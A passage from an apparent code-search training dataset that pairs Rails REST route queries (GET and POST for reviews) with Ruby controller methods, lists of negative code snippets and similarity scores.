"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end",
"def delete(*args)\n Request.delete(*args)\n end",
"def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end"
] |
[
"0.76387495",
"0.7443277",
"0.63236994",
"0.6294701",
"0.62609905",
"0.6228585",
"0.6191495",
"0.6190803",
"0.6156685",
"0.61500823",
"0.613764",
"0.6134649",
"0.60966575",
"0.60966456",
"0.60909075",
"0.6088816",
"0.60710835",
"0.6061954",
"0.60609967",
"0.6055636",
"0.6055636",
"0.6048085",
"0.6037425",
"0.60368043",
"0.6035709",
"0.6035709",
"0.6035709",
"0.6035709",
"0.6035709",
"0.6017459",
"0.6013869",
"0.6012447",
"0.6001338",
"0.6000726",
"0.59962255",
"0.59836113",
"0.59699833",
"0.5969889",
"0.5967853",
"0.59626377",
"0.59587365",
"0.5956008",
"0.5947389",
"0.59462744",
"0.5941754",
"0.5935011",
"0.5928596",
"0.5927771",
"0.5923621",
"0.5902203",
"0.58982855",
"0.58954805",
"0.5887417",
"0.5886433",
"0.5886433",
"0.5886192",
"0.5884467",
"0.5884072",
"0.5884072",
"0.5882055",
"0.58791494",
"0.58764046",
"0.5875386",
"0.58738965",
"0.5869649",
"0.586841",
"0.5865254",
"0.58650374",
"0.58639765",
"0.5858731",
"0.5858731",
"0.5856252",
"0.58528507",
"0.5850593",
"0.5842576",
"0.58418596",
"0.58398545",
"0.58398086",
"0.5839524",
"0.58373606",
"0.5836893",
"0.5831206",
"0.5831169",
"0.5826908",
"0.5825137",
"0.5821989",
"0.5820863",
"0.58182",
"0.5816857",
"0.5812914",
"0.5812462",
"0.5809632",
"0.58070886",
"0.58039117",
"0.58039117",
"0.58039117",
"0.579817",
"0.5797567",
"0.5797567",
"0.5797567"
] |
0.8091663
|
0
|
GET /reviews GET /reviews.json
|
def index
params[:search] ? @reviews=Review.search(params[:search]) : @reviews= Review.where("user_id = ?", current_user.id)
@reviews = @reviews.order(:heading).paginate(page: params[:page], per_page: 18)
respond_to do |format|
format.html # index.html.erb
format.json { render json: @reviews }
format.js
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @reviews = reviewable.reviews\n\n respond_to do |format|\n format.html\n format.json { render json: @reviews }\n end\n end",
"def index\n @reviews = Review.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def index\n @reviews = Review.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def index\n author = Author.find(params[:author_id])\n @reviews = author.reviews\n render json: @reviews\n end",
"def index\n @reviews = @place.reviews\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def reviews(id, review_type='top_critic', page_limit='20', page='1', country='us')\n results = self.class.get(\"/movies/#{id}/reviews.json\", :query => {:review_type => review_type, :page_limit => page_limit, :page => page, :country => country}).parsed_response\n return results\n end",
"def index\n reviews = Review.all\n render json: reviews\n end",
"def index\n reviews = Review.all\n render json: reviews\n end",
"def reviews(params = {})\n data = request(\"/review/list\", params.merge(v: \"2\"))\n reviews = data[\"reviews\"][\"review\"]\n if reviews.present?\n reviews.map { |review| Hashie::Mash.new(review) }\n else\n []\n end\n end",
"def welcome\n @reviews = Review.all\n render json: @reviews\n end",
"def index\n @reviews = @post.reviews.all\n respond_with @post, @reviews\n end",
"def get_reviews\n @comment_reviews = CommentReview.where('comment_id = ?', params[:comment_id])\n end",
"def review(review, options = {})\n get(\"reviews/#{review}\", options).pop\n end",
"def reviews\n download_reviews\n @reviews.flatten!\n end",
"def index\n logger.ap params\n if params.has_key? 'search_term' and params[:search_term] and !params[:search_term].blank?\n @reviews = Review.basic_search(params[:search_term]).page(params[:page]).per(params[:per_page])\n else\n @reviews = Review.page(params[:page]).per(params[:per_page])\n end\n logger.ap @reviews.length\n render json: @reviews\n end",
"def index\n render json: Album.find(params[:album_id]).reviews\n end",
"def reviews( params={} )\n reviews = get_connections(\"reviews\", params)\n return map_connections reviews, :to => Facebook::Graph::Review\n end",
"def show\n @review = Review.find(params[:id])\n render json: @review\n end",
"def review\n fetch('restaurant.review')\n end",
"def index\n\t\t@book_reviews = BookReview.find_all_by_user_id(current_user.id)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render :json => @book_reviews }\n\t\tend\n\tend",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def get_initial_reviews\n\n\t\t# return api call for just one review\n\tend",
"def show\n render json: @review\n end",
"def show\n render json: @review\n end",
"def show\n render json: @review\n end",
"def index\n @reviews = Review.all\n \n end",
"def index\n @reviews = Review.order(:place_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def show\n @review = @place.reviews.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def index\n @reviews = current_user.reviews\n end",
"def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def show\n @user = User.find(params[:id])\n @reviews = @user.reviews.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def index\n\t\t@reviews = @movie.reviews\n\tend",
"def index\n render_json content: Review.all\n end",
"def review\n\t@applicants = Applicant.all\n\t\n\trespond_to do |format|\n\tformat.html # review.html.erb\n\tformat.json { render json: @applicants }\n\tend\n\tend",
"def show\n compile_reviews(@gamer.id)\n scores = Gamer.compute_ratings(@reviews)\n Gamer.compute_overall_rating(scores)\n update_scores(scores, @gamer)\n render json: {gamer: @gamer, reviews: @reviews}\n end",
"def show\n @review = @post.reviews.find(params[:id])\n respond_with @post, @review\n end",
"def index\n @reviews = @story.reviews\n end",
"def index\n\t\t@shop = Shop.find(params[:shop_id])\n\t\t@reviews = @shop.reviews\n\tend",
"def show\n render_json content: @review\n end",
"def index\r\n if params[:review_id].nil?\r\n @comments = Comment.all\r\n else\r\n @review = Review.find(params[:review_id])\r\n @comments = @review.comments\r\n end\r\n\r\n respond_to do |format|\r\n format.html\r\n format.xml { render :xml => @comments }\r\n end\r\n end",
"def reviews\n @reviews\n end",
"def index\n @user = User.find(params[:uid])\n @reviews = @reviews.where(user_id: @user.id).where(anonymous: false)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def get_reviews(proposal_id)\n\t\treturn Review.find_all_by_proposal_id(proposal_id)\n\tend",
"def show\n @item = Item.find(params[:id])\n @reviews = @item.reviews\n end",
"def show\n\n respond_to do |format|\n format.html #show\n format.json { render json: @review }\n end\n end",
"def index\n @product_reviews = ProductReview.all\n end",
"def index\n @reviews = Employee.where(reviewed: nil)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def index\n @visitor_reviews = VisitorReview.all\n end",
"def index\n @reviews = @publication.reviews.all\n end",
"def index\n @reviews = Review.includes(:movie).order('created_at Desc').all\n render json: @reviews, include: [:movie]\n end",
"def list\n @reviews = current_user.organization.reviews\n end",
"def index\n @item_reviews = ItemReview.all\n end",
"def index\n @item_reviews = ItemReview.all\n end",
"def index\n @reviews = Review.find(params[:burger_place_id])\n\n render json: @reviews\n end",
"def index\n @critic_reviews = CriticReview.all\n end",
"def show\n @book_review = BookReview.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_review }\n end\n end",
"def pending\n @reviews = current_user.written_reviews.pending\n render json: @reviews\n end",
"def new\n @review = @place.reviews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def index\n @q = @ci_reviews.search params[:q]\n @ci_reviews = @q.result.page(params[:page])\n end",
"def index\n\t\t\t\t# @reviews = Driver.find_by!(id: params[:driver_id]).driver_reviews#.order('created_at DESC').to_a\n\t\t\t\t@reviews = DriverReview.where(driver_id: params[:driver_id])\n\t\t\tend",
"def show\n @wifi = Wifi.find(params[:id])\n @reviews = @wifi.reviews\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wifi }\n end\n end",
"def load_reviews\n response = RestClient.get \"https://developers.zomato.com/api/v2.1/reviews?res_id=#{self.zomato_restaurant_id}\", accept: :json, 'user-key' => Rails.application.config.zomato_key\n if response.code == 200\n if response && response.length >= 2\n response = JSON.parse(response)\n response['user_reviews'].each do |review|\n new_review = Review.new\n new_review.review_rating = review['review']['rating']\n new_review.review_text = review['review']['review_text']\n new_review.rating_color = review['review']['rating_color']\n new_review.rating_text = review['review']['rating_text']\n new_review.review_time_stamp = Time.at(review['review']['timestamp'].to_i).to_time.to_i\n new_review.likes = review['review']['likes']\n new_review.author_name = review['review']['user']['name']\n new_review.author_foodie_level = review['review']['user']['foodie_level']\n new_review.user_image = review['review']['user']['profile_image']\n new_review.comments_count = review['review']['comments_count']\n new_review.restaurant_id = self.zomato_restaurant_id\n new_review.save\n end\n end\n end\n end",
"def index\n #deeply nested... so starts with gyms,goes to trainers,goes to clients.\n #since clients belongs to trainer we use trainer here..\n #but in trainers_controller the trainers belongs to gyms so gyms is used orignally.\n @product=Product.find(params[:product_id])\n @reviews=Review.where(product_id: @product.id)\n render json:@reviews, status: :ok\n end",
"def index\n @shop_reviews = ShopReview.all\n end",
"def index\n response.headers['X-Total-Count'] = @reviews.count.to_s\n @reviews = @reviews.page(params[:page]) if params[:page].present?\n @reviews = @reviews.per(params[:per]) if params[:per].present?\n\n _render collection: @reviews, flag: params[:flag].try(:to_sym)\n end",
"def index\n @food_reviews = FoodReview.all\n end",
"def index\n @reviews_and_ratings = ReviewsAndRating.all\n end",
"def index\n @restaurant_reviews = RestaurantReview.all\n end",
"def index\n @reviews = Review.find(:all, :limit => 10, :include => [:user, :package])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @review }\n end\n end",
"def index\n @user_reviews = UserReview.find(:all)\n @user = get_user\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_reviews }\n end\n end",
"def show\n\t\t@book_review = BookReview.find(params[:id])\n\t\t@book = Book.find_by_id(@book_review.book_id)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render :json => @book_review }\n\t\tend\n\tend",
"def index \n reviews=Review.all.sort \n render json: reviews\n end",
"def index\n @hm_reviews = HmReview.all\n end",
"def index\n @evenreviews = Evenreview.all\n end",
"def index\n respond_with :api, @review, @review.comments\n end",
"def index\n @reviews = Review.all\n @review = Review.new(review: params[:review][:review], my_book_id: params[:my_book_id])\n end",
"def userindex\n @user = User\n .left_joins(:reviews).includes(:reviews)\n .find(current_user.id)\n\n reviews = @user.reviews\n render json: reviews\n end",
"def get_all_single_critic_movies\n\t\treviews_array = []\n\t\tcritic_id = params[:id]\n\t\treviews = Critic.find(critic_id).critic_movies\n\t\treviews_array.push(reviews)\n\t\treviews = reviews_array.to_json\n\t\trender :json => reviews\n\tend",
"def show\n\t\t@review = Review.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html {}\n\t\t\tformat.json {}\n\t\t\tformat.js\n\t\tend\n\tend",
"def show\n find_review\n find_show\n respond_to do |f|\n f.html {render :show}\n f.json {render json: @review}\n end\n end",
"def reviews\n reviews = []\n katas = Kata.all\n katas.each { |k| reviews += k.reviews.where(user_id: self.id) }\n return reviews\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end"
] |
[
"0.8128604",
"0.76803666",
"0.76803666",
"0.76768506",
"0.7594319",
"0.7533078",
"0.75313497",
"0.75313497",
"0.7528348",
"0.7404546",
"0.7360395",
"0.7340902",
"0.7319881",
"0.73067623",
"0.7281126",
"0.72661823",
"0.721507",
"0.7189025",
"0.7180426",
"0.71802807",
"0.7115584",
"0.7115584",
"0.7115584",
"0.7115584",
"0.7115584",
"0.7115584",
"0.7115584",
"0.7115584",
"0.7115584",
"0.7115584",
"0.7115584",
"0.7115584",
"0.71085274",
"0.70829946",
"0.70829946",
"0.70829946",
"0.70426154",
"0.70365053",
"0.7026979",
"0.69900113",
"0.6971866",
"0.6971866",
"0.6971866",
"0.6971866",
"0.6971866",
"0.6953886",
"0.69421935",
"0.6937741",
"0.6859427",
"0.6835107",
"0.6793513",
"0.67446417",
"0.6743918",
"0.6739694",
"0.67096776",
"0.67090833",
"0.6696974",
"0.6677338",
"0.66749763",
"0.66605955",
"0.66577846",
"0.6645358",
"0.66157675",
"0.6611565",
"0.6595463",
"0.6590827",
"0.6590338",
"0.6590338",
"0.65844125",
"0.6577233",
"0.6563872",
"0.65489864",
"0.6543836",
"0.6541467",
"0.6534573",
"0.65318",
"0.6527391",
"0.6516056",
"0.65151626",
"0.6510525",
"0.65023685",
"0.6498509",
"0.64941055",
"0.6489196",
"0.648788",
"0.64791256",
"0.6475891",
"0.64680594",
"0.64590037",
"0.6446738",
"0.6437988",
"0.6432153",
"0.6408189",
"0.63943285",
"0.63920134",
"0.6387681",
"0.63785774",
"0.63785774",
"0.63785774",
"0.63785774"
] |
0.68228954
|
50
|
GET /reviews/1 GET /reviews/1.json
|
def show
@review = Review.find(params[:id])
respond_to do |format|
format.html {}
format.json {}
format.js
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @reviews = reviewable.reviews\n\n respond_to do |format|\n format.html\n format.json { render json: @reviews }\n end\n end",
"def index\n @reviews = Review.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def index\n @reviews = Review.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def index\n author = Author.find(params[:author_id])\n @reviews = author.reviews\n render json: @reviews\n end",
"def review(review, options = {})\n get(\"reviews/#{review}\", options).pop\n end",
"def get_initial_reviews\n\n\t\t# return api call for just one review\n\tend",
"def index\n @reviews = @place.reviews\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def show\n @review = Review.find(params[:id])\n render json: @review\n end",
"def index\n reviews = Review.all\n render json: reviews\n end",
"def index\n reviews = Review.all\n render json: reviews\n end",
"def reviews(id, review_type='top_critic', page_limit='20', page='1', country='us')\n results = self.class.get(\"/movies/#{id}/reviews.json\", :query => {:review_type => review_type, :page_limit => page_limit, :page => page, :country => country}).parsed_response\n return results\n end",
"def index\n render json: Album.find(params[:album_id]).reviews\n end",
"def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def show\n @review = @place.reviews.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def welcome\n @reviews = Review.all\n render json: @reviews\n end",
"def review\n fetch('restaurant.review')\n end",
"def get_reviews\n @comment_reviews = CommentReview.where('comment_id = ?', params[:comment_id])\n end",
"def index\n @reviews = @post.reviews.all\n respond_with @post, @reviews\n end",
"def reviews(params = {})\n data = request(\"/review/list\", params.merge(v: \"2\"))\n reviews = data[\"reviews\"][\"review\"]\n if reviews.present?\n reviews.map { |review| Hashie::Mash.new(review) }\n else\n []\n end\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n \n end",
"def show\n render json: @review\n end",
"def show\n render json: @review\n end",
"def show\n render json: @review\n end",
"def index\n @reviews = Review.order(:place_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def show\n @user = User.find(params[:id])\n @reviews = @user.reviews.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n @review = @post.reviews.find(params[:id])\n respond_with @post, @review\n end",
"def show\n @item = Item.find(params[:id])\n @reviews = @item.reviews\n end",
"def index\n logger.ap params\n if params.has_key? 'search_term' and params[:search_term] and !params[:search_term].blank?\n @reviews = Review.basic_search(params[:search_term]).page(params[:page]).per(params[:per_page])\n else\n @reviews = Review.page(params[:page]).per(params[:per_page])\n end\n logger.ap @reviews.length\n render json: @reviews\n end",
"def reviews\n download_reviews\n @reviews.flatten!\n end",
"def index\n render_json content: Review.all\n end",
"def index\n @reviews = current_user.reviews\n end",
"def index\n\t\t@reviews = @movie.reviews\n\tend",
"def index\n\t\t@book_reviews = BookReview.find_all_by_user_id(current_user.id)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render :json => @book_reviews }\n\t\tend\n\tend",
"def find_review\n Review.find(params[\"id\"])\n end",
"def show\n\n respond_to do |format|\n format.html #show\n format.json { render json: @review }\n end\n end",
"def show\n @book_review = BookReview.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_review }\n end\n end",
"def review\n\t@applicants = Applicant.all\n\t\n\trespond_to do |format|\n\tformat.html # review.html.erb\n\tformat.json { render json: @applicants }\n\tend\n\tend",
"def index\n @reviews = @story.reviews\n end",
"def show\n @review = Review.find(params[:id])\n end",
"def show\n @review = Review.find(params[:id])\n end",
"def show\n @review = Review.find(params[:id])\n end",
"def index\r\n if params[:review_id].nil?\r\n @comments = Comment.all\r\n else\r\n @review = Review.find(params[:review_id])\r\n @comments = @review.comments\r\n end\r\n\r\n respond_to do |format|\r\n format.html\r\n format.xml { render :xml => @comments }\r\n end\r\n end",
"def new\n @review = @place.reviews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def reviews( params={} )\n reviews = get_connections(\"reviews\", params)\n return map_connections reviews, :to => Facebook::Graph::Review\n end",
"def show\n @review = Review.find(params[:id])\n\n end",
"def show\n render_json content: @review\n end",
"def reviews\n @reviews\n end",
"def show\n compile_reviews(@gamer.id)\n scores = Gamer.compute_ratings(@reviews)\n Gamer.compute_overall_rating(scores)\n update_scores(scores, @gamer)\n render json: {gamer: @gamer, reviews: @reviews}\n end",
"def show\n @wifi = Wifi.find(params[:id])\n @reviews = @wifi.reviews\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wifi }\n end\n end",
"def index\n @reviews = Employee.where(reviewed: nil)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def load_reviews\n response = RestClient.get \"https://developers.zomato.com/api/v2.1/reviews?res_id=#{self.zomato_restaurant_id}\", accept: :json, 'user-key' => Rails.application.config.zomato_key\n if response.code == 200\n if response && response.length >= 2\n response = JSON.parse(response)\n response['user_reviews'].each do |review|\n new_review = Review.new\n new_review.review_rating = review['review']['rating']\n new_review.review_text = review['review']['review_text']\n new_review.rating_color = review['review']['rating_color']\n new_review.rating_text = review['review']['rating_text']\n new_review.review_time_stamp = Time.at(review['review']['timestamp'].to_i).to_time.to_i\n new_review.likes = review['review']['likes']\n new_review.author_name = review['review']['user']['name']\n new_review.author_foodie_level = review['review']['user']['foodie_level']\n new_review.user_image = review['review']['user']['profile_image']\n new_review.comments_count = review['review']['comments_count']\n new_review.restaurant_id = self.zomato_restaurant_id\n new_review.save\n end\n end\n end\n end",
"def index\n @reviews = Review.all\n @review = Review.new(review: params[:review][:review], my_book_id: params[:my_book_id])\n end",
"def index\n\t\t@shop = Shop.find(params[:shop_id])\n\t\t@reviews = @shop.reviews\n\tend",
"def show\n\t\t@book_review = BookReview.find(params[:id])\n\t\t@book = Book.find_by_id(@book_review.book_id)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render :json => @book_review }\n\t\tend\n\tend",
"def index\n @user = User.find(params[:uid])\n @reviews = @reviews.where(user_id: @user.id).where(anonymous: false)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def index\n @item_reviews = ItemReview.all\n end",
"def index\n @item_reviews = ItemReview.all\n end",
"def find_review\n @review = Review.find(params[:id])\n end",
"def index\n @product_reviews = ProductReview.all\n end",
"def new\n @review = reviewable.reviews.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def get_reviews(proposal_id)\n\t\treturn Review.find_all_by_proposal_id(proposal_id)\n\tend",
"def index\n @reviews = @publication.reviews.all\n end",
"def index\n #deeply nested... so starts with gyms,goes to trainers,goes to clients.\n #since clients belongs to trainer we use trainer here..\n #but in trainers_controller the trainers belongs to gyms so gyms is used orignally.\n @product=Product.find(params[:product_id])\n @reviews=Review.where(product_id: @product.id)\n render json:@reviews, status: :ok\n end",
"def index\n @reviews = Review.find(params[:burger_place_id])\n\n render json: @reviews\n end",
"def get_all_single_critic_movies\n\t\treviews_array = []\n\t\tcritic_id = params[:id]\n\t\treviews = Critic.find(critic_id).critic_movies\n\t\treviews_array.push(reviews)\n\t\treviews = reviews_array.to_json\n\t\trender :json => reviews\n\tend",
"def index\n @reviews = Review.find params[:id]\n\n @user = User.find(params[user:id])\n @review = Review.new\n end",
"def index\n @first_reviews = FirstReview.all\n end",
"def new\n @review = current_user.reviews.new\n 1.times { @review.review_photos.build }\n @place = Place.first\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def show\n @restaurant = Restaurant.find(params[:id])\n @reviews = Review.where(restaurant_id: params[:id])\n end",
"def show\n @review = Review.find(params[:id])\n @product = @review.product\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def index\n @critic_reviews = CriticReview.all\n end",
"def index\n\t\tparams[:search] ? @reviews=Review.search(params[:search]) : @reviews= Review.where(\"user_id = ?\", current_user.id)\n\t\t@reviews = @reviews.order(:heading).paginate(page: params[:page], per_page: 18)\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @reviews }\n\t\t\tformat.js\n\t\tend \n\tend",
"def index\n @visitor_reviews = VisitorReview.all\n end",
"def index\n\t\t\t\t# @reviews = Driver.find_by!(id: params[:driver_id]).driver_reviews#.order('created_at DESC').to_a\n\t\t\t\t@reviews = DriverReview.where(driver_id: params[:driver_id])\n\t\t\tend",
"def index\n @restaurant_reviews = RestaurantReview.all\n end",
"def index\n @food_reviews = FoodReview.all\n end",
"def new\n @new_review = NewReview.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_review }\n end\n end",
"def show\n\t\t@review = Review.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @review }\n\t\tend\n\tend"
] |
[
"0.78798026",
"0.751587",
"0.751587",
"0.7503942",
"0.7390879",
"0.7352559",
"0.73425764",
"0.7342495",
"0.7331215",
"0.7331215",
"0.7281798",
"0.7159771",
"0.71292806",
"0.71292806",
"0.71292806",
"0.71292806",
"0.71292806",
"0.7086854",
"0.7068903",
"0.7065639",
"0.70534414",
"0.7051076",
"0.7031837",
"0.702976",
"0.702976",
"0.702976",
"0.702976",
"0.702976",
"0.702976",
"0.702976",
"0.702976",
"0.702976",
"0.702976",
"0.702976",
"0.702976",
"0.6967458",
"0.6952553",
"0.6952553",
"0.6952553",
"0.69041574",
"0.68616897",
"0.6853123",
"0.68469477",
"0.684433",
"0.6803986",
"0.67659664",
"0.67470056",
"0.67396665",
"0.6726065",
"0.67228353",
"0.6676249",
"0.66737473",
"0.66715634",
"0.66650397",
"0.6663765",
"0.6663765",
"0.6663765",
"0.66348475",
"0.66309",
"0.66130596",
"0.6612883",
"0.6609606",
"0.66023946",
"0.6600405",
"0.6567519",
"0.6566965",
"0.65612656",
"0.65612656",
"0.65612656",
"0.65612656",
"0.65612656",
"0.65612656",
"0.65600735",
"0.65485746",
"0.6547667",
"0.65259105",
"0.6520837",
"0.651067",
"0.651067",
"0.6507564",
"0.64947945",
"0.64763635",
"0.6467752",
"0.6466392",
"0.646511",
"0.6454",
"0.6447822",
"0.6443005",
"0.64335966",
"0.6433539",
"0.6433313",
"0.641217",
"0.64053214",
"0.63977104",
"0.63914824",
"0.6390406",
"0.63863045",
"0.6377239",
"0.6369179",
"0.63686013"
] |
0.64677906
|
82
|
POST /reviews POST /reviews.json
|
def create
@review = Review.new(review_params)
@review.user_id = current_user.id
respond_to do |format|
if @review.save
@reviews = Review.order(:heading).paginate(page: params[:page], per_page: 18)
format.html { redirect_to @review; flash[:success]= 'review was successfully created.' }
format.json { render :show, status: :created, location: @review }
format.js
else
format.html { render :new }
format.json { render json: @review.errors, status: :unprocessable_entity }
format.js
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @review = current_author.reviews.create(review_params)\n render json: @review, status: 201\n end",
"def create\n review = course.reviews.new(review_params)\n \n if review.save\n render json: ReviewSerializer.new(review).serialized_json\n else\n render json: { error: review.errors.messages }, status: 422\n end\n end",
"def create\n @user = current_user\n @review = @user.reviews.build(review_params)\n if @user.save\n render json: @review\n end\n end",
"def create\n @review = Review.new(review_params)\n\n if @review.save\n render json: @review, status: :created, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end",
"def create\n @review = Review.new(review_params)\n\n if @review.save\n render json: @review, status: :created, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end",
"def create\n @review = Review.new(review_params)\n\n if @review.save\n render json: @review, status: :created, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end",
"def create\n @review = Review.new(review_params)\n current_user.reviews << @review\n respond_to do |format|\n if @review.save\n format.json { render :show, status: :created, location: @review }\n else\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @review = reviewable.reviews.build(params[:review])\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to reviewable_review_url(reviewable, @review), notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
